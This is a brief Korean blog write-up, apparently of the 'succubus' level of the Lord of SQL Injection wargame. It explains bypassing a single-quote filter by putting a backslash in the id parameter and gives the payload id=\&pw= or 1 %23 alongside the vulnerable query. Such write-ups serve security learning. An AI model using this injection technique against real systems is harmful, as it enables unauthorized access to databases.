Web Hacking/LoS

[Lord of SQL Injection] los succubus

ruming 2021. 8. 15. 05:02

id와 pw에서 싱글쿼터만 필터링하고 있다.

 

문제 의도가 싱글쿼터만 우회하면 되는 것 같아 찾아보았다.

https://g-idler.tistory.com/61

 

백슬래시를 사용

id=\&pw= or 1 %23

백슬래시 때문에 뒤에 있는 싱글쿼터는 문자로 인식된다. 따라서 \' and pw는 문자열로 인식되고 뒷 부분이 쿼리로 인식된다.

다만 이번 문제같은 쿼리에 제한적으로 사용 가능하다고 한다.

select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}